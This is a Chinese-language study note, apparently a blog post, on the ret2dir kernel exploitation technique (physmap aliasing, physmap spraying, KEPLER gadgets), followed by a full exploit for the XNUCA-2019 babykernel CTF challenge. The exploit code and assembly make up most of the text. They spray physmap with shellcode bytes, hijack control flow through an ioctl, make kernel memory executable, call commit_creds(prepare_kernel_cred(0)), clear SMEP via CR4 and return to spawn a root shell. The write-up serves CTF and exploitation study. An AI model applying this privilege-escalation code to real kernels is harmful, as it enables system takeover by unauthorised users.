ret2dir笔记

backgound

Return-to-direct-mapped memory (ret2dir)是由哥伦比亚大学网络安全实验室在2014年提出的攻击技术,能够直接绕过SMAP/SMEP,

SMAP/SMEP是intel用于阻止ret2usr攻击所采取的保护机制,它确保了当进程处于内核态时,不能访问或执行用户空间内存代码,SMEP/SMAP的开启有CR4寄存器的第20/21位控制,当控制位为1时,保护开启

physmap

在内核空间,有一块名叫physmap的虚拟内存是可以直接映射物理内存,这块内存在低于3.9版本的x86-64内核中的属性是rwx,而在目前版本是rw.

ret2dir

用户空间代码可以通过触发Page faults的方法迫使kernel分配物理内存

  1. Demand paging
    • brk,[stack]
    • mmap/mmap2,mremap,shmat
    • Swapping (swapped in pages)
  2. Copy-on-write (COW)
    • fork,clone

由于物理内存可以同时分配给用户空间和内核空间,physmap的存在就导致了地址别名产生。当两块或者多块虚拟内存映射到同一块物理内存时,就会产生地址别名。我们可以通过physmap直接调用在用户空间布置的shellcode,从而绕过SMAP/SMEP保护机制,这就是ret2dir的核心原理

Locating Synonyms

现在的问题变成,我们如何确定用户空间的虚拟地址所对应的内核地址
P1: Given a user space virtual address (uaddr) -- > Synonym inkernel space (kaddr)

通过/proc/(pid)/pagemap计算Page frame number

64-bit value per page!Indexed by virtualpage number

  • [0:54]!Page frame number (PFN)
  • [63]!Page present

F1:kaddr = PHYS_OFFSET + PAGE_SIZE * ( PFN (uaddr) - PFN_MIN )

PHYS_OFFSET:physmap在内核空间的起始地址,也就是0xFFFF880000000000

PFN_MIN: the first PFN

Ensuring the Presence of Synonyms

如果内存容量大于physmap的时候,如何确保Synonyms的存在?

这部分牵扯到Linux内核的物理内存分配机制,我也不是特别明白

内核将物理内存划分为三块,ZONEDMA,ZONENORMAL,ZONEHIGHMEM,用户空间从ZONEHIGHMEM获得物理内存页

通过在用户空间不断请求大块RW内存,并触发write fault强迫内核分配物理内存,直到PFN(P)小于PFN_MAX

Locating Contiguous Synonyms

如果payload长度大于一个内存页,如何获得连续的physmap

采用与上面类似的算法

Locating Synonyms

如果PFN信息不可用怎么办,这种情况十分常见,大佬们提出了一种名叫physmap spraying,跟堆喷的工作手法类似,通过分配大量的内存,并在内存中都填充同样的payload,再随机挑选一个physmap地址,能够有相当大的概率可以恰好命中paylaod,概率P = N/(PFN_MAX-PFN_MIN),N为被填充payload的physmap-resident pages

XNUCA-2019 babykernel

在今年的XNUCA比赛中,就有一道题十分适合当作例题

漏洞点十分简单,我们可以控制rip, rdi两个参数,不过我们只有一次机会

由于kernel版本为5.2,直接在physmap布置shellcode执行是不可能的,那Kernel中有没有类似libc中的one_gadget可以实现single shot呢?

有的,在中科院信工所大佬的KEPLER: Facilitating Control-flow Hijacking Primitive Evaluation for Linux Kernel Vulnerabilities文章中,他们提出了一种新的利用途径

Linux kernel采用了面向对象编程思想,函数调用的第一个参数往往就是self本身,然后通过self取出对象中的函数或者数据之类的。

通过blooming gadget,我们可以从控制单一一个rdi寄存器扩展到三个甚至更多

同样的,Bridging gadget为我们提供了同时调用多个函数的可能性,让我们可以更长时间控制程序的执行流

exp:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>


struct control_flow_hijack_primitive{
	long long rax;
	long long rbx;
	long long rcx;
	long long rdx;
	long long rsi;
	long long rdi;
	long long rsp;
	long long rbp;
	long long r8;
	long long r9;
	long long r10;
	long long r11;
	long long r12;
	long long r13;
	long long r14;
	long long r15;
	long long rip;
	long long reset_all;
};


#define regcache_mark_dirty 0xffffffff81608250
#define mp_size			1024*64 //64K
#define spray_times		64*32	// heap spray size : 64K*64*32 = 128M
#define guess_physmap		0xffff888007a72000
#define set_memory_x		0xffffffff81056ca0



void get_shell(void){
    system("/bin/sh");
}

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL= 0xffffffff81087130;
void (*commit_creds)(void*) KERNCALL=0xffffffff81086e20;
void payload(){
      commit_creds(prepare_kernel_cred(0));
}

void error_quit(char *arg)
{
	puts(arg);
	exit(-1);
}
void heap_spray()
{
	int i = 0,num;
	char *mp;
	char *p;
	for (i = 0; i < spray_times; i++)
	{
        	if ((p = mmap(NULL, mp_size, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0 )) == MAP_FAILED)
                	error_quit("mmap error");
		for (num = 0; num < 64; num++)
		{
			mp = p + num * 1024;
			*((unsigned long *)&mp[0x30]) = guess_physmap+0x40;
			*((unsigned long *)&mp[0x20]) = 0xffffffff8153588e;
			*((unsigned long *)&mp[0xe0]) = 0;
			*((unsigned long *)&mp[0x9e]) = 0xffffffff81608251;
			*((unsigned long *)&mp[0x8]) =  guess_physmap+0x70;
			*((unsigned long *)&mp[0x70]) =  guess_physmap;
			*((unsigned long *)&mp[0x60]) =  set_memory_x;
			*((unsigned long *)&mp[0x68]) =  guess_physmap+0x100;
			*((unsigned long *)&mp[0x270]) =  0xffffffff810a9114;
			memcpy(mp+0x100,"\x90\x90\x90\x90\x90\x90\x48\xc7\xc0\xb0\x73\x05\x81\x48\xc7\xc7\x00\x00\x00\xc0\x48\xc7\xc6\x01\x00\x00\x00\xff\xd0\x48\xc7\xc0\x80\x0a\x00\xc0\x48\xc7\x00\x00\x00\x00\x00\x48\xc7\xc0\xc0\x01\x00\xc0\x48\xbb\x48\xc7\xc7\x00\x00\x00\x00\x48\x48\x89\x18\x48\xc7\xc0\xc8\x01\x00\xc0\x48\xbb\xc7\xc0\x30\x71\x08\x81\xff\xd0\x48\x89\x18\x48\xc7\xc0\xd0\x01\x00\xc0\x48\xbb\x48\x89\xc7\x48\xc7\xc0\x20\x6e\x48\x89\x18\x48\xc7\xc0\xd8\x01\x00\xc0\x48\xbb\x08\x81\xff\xd0\x48\xc7\xc7\xf0\x48\x89\x18\x48\xc7\xc0\xe0\x01\x00\xc0\x48\xbb\x06\x00\x00\x48\xc7\xc2\x48\x00\x48\x89\x18\x48\xc7\xc0\xe8\x01\x00\xc0\x48\xbb\x00\x00\x48\xc7\xc0\x02\x0e\x05\x48\x89\x18\x48\xc7\xc0\xf0\x01\x00\xc0\x48\xbb\x81\xff\xd0\x0f\x01\xf8\x6a\x2b\x48\x89\x18\x48\xc7\xc0\xf8\x01\x00\xc0\x48\xbb\x68\x00\x10\x10\x00\x68\x46\x02\x48\x89\x18\x48\xc7\xc0\x00\x02\x00\xc0\x48\xbb\x00\x00\x6a\x33\x68\x4d\x0b\x40\x48\x89\x18\x48\xc7\xc0\x08\x02\x00\xc0\x48\xc7\xc3\x00\x48\xcf\x00\x48\x89\x18\x48\xbb\x00\x68\x9f\x0f\x80\x88\xff\xff\x49\xc7\xc4\x01\x00\x00\x00\x49\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc5\x0b\x00\x00\x00\x48\xbc\x20\x3f\x00\x00\x00\xc9\xff\xff\x49\xbd\x6c\x3f\x00\x00\x00\xc9\xff\xff\x4d\x31\xdb\x4d\x31\xf6\x4d\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x58\x48\xc7\xc0\x3b\x72\x0b\x81\x50\x48\xc7\xc0\x85\x00\x00\xc0\x50\x6a\x46\x9d\xfa\x48\x31\xc0\xc3",331);
		}
	}	
}

//0xffffffffc0000000
unsigned long user_cs, user_ss, user_eflags,user_sp	;
void save_stats() {
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}
void getshell()
{
    system("/bin/sh");
}

int main(void){
    setbuf(stdout,0);
    save_stats();
    printf("%lx %lx %lx %lx",user_cs,user_eflags,user_sp,user_ss);
    char * pp = mmap(0x100000, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,-1, 0);
	int fd = open("/dev/osok",O_RDWR);
	if(fd < 0 ){
		printf("Open /dev/osok error!\n");
		exit(0);
	}
	heap_spray();
	struct control_flow_hijack_primitive buf;
	buf.rip=regcache_mark_dirty;
	buf.rdi=guess_physmap;
	ioctl(fd,1337,&buf);
	sleep(4);
	int fp = open("/dev/osok",O_RDWR);
	if(fp < 0 ){
		printf("Open /dev/osok error!\n");
		exit(0);
	}
	ioctl(fp,1337,0);
	getshell();
	return 0;
    

}
# shellcode
mov rax,0xffffffff810573b0
mov rdi,0xffffffffc0000000
mov rsi,0x1
call rax
mov rax,0xffffffffc0000a80
mov qword ptr [rax],0
mov rax,0xffffffffc00001c0
mov rbx,0x4800000000c7c748
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001c8
mov rbx,0xd0ff81087130c0c7
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001d0
mov rbx,0x6e20c0c748c78948
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001d8
mov rbx,0xf0c7c748d0ff8108
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001e0
mov rbx,0x48c2c748000006
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001e8
mov rbx,0x50e02c0c7480000
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001f0
mov rbx,0x2b6af8010fd0ff81
mov qword ptr [rax],rbx
mov rax,0xffffffffc00001f8
mov rbx,0x246680010100068
mov qword ptr [rax],rbx
mov rax,0xffffffffc0000200
mov rbx,0x400b4d68336a0000
mov qword ptr [rax],rbx
mov rax,0xffffffffc0000208
mov rbx,0xcf4800
mov qword ptr [rax],rbx
mov rbx,0xffff88800f9f6800
mov r12,1
mov r15,1
mov rbp,0xb
mov rsp,0xffffc90000003f20
mov r13,0xffffc90000003f6c
xor r11,r11
xor r14,r14
xor r10,r10
xor r8,r8
xor r9,r9
pop rax
mov rax,0xffffffff810b723b
push rax
mov rax,0xffffffffc0000085
push rax
push 0x46
popfq
cli
xor rax,rax
ret



# patch handle_args
mov rdi,0
mov rax,0xffffffff81087130
call rax
mov rdi,rax
mov rax,0xffffffff81086e20
call rax
mov rdi,0x6f0
mov rdx,0x48
# mov cr4, rdi; push rdx; popfq; ret;
mov rax,0xffffffff81050e02
call rax

push 0x2b
mov rax, 0x100000
push rax
push 0x246
push 0x33
push 0x000000000400B4D
swapgs
iretq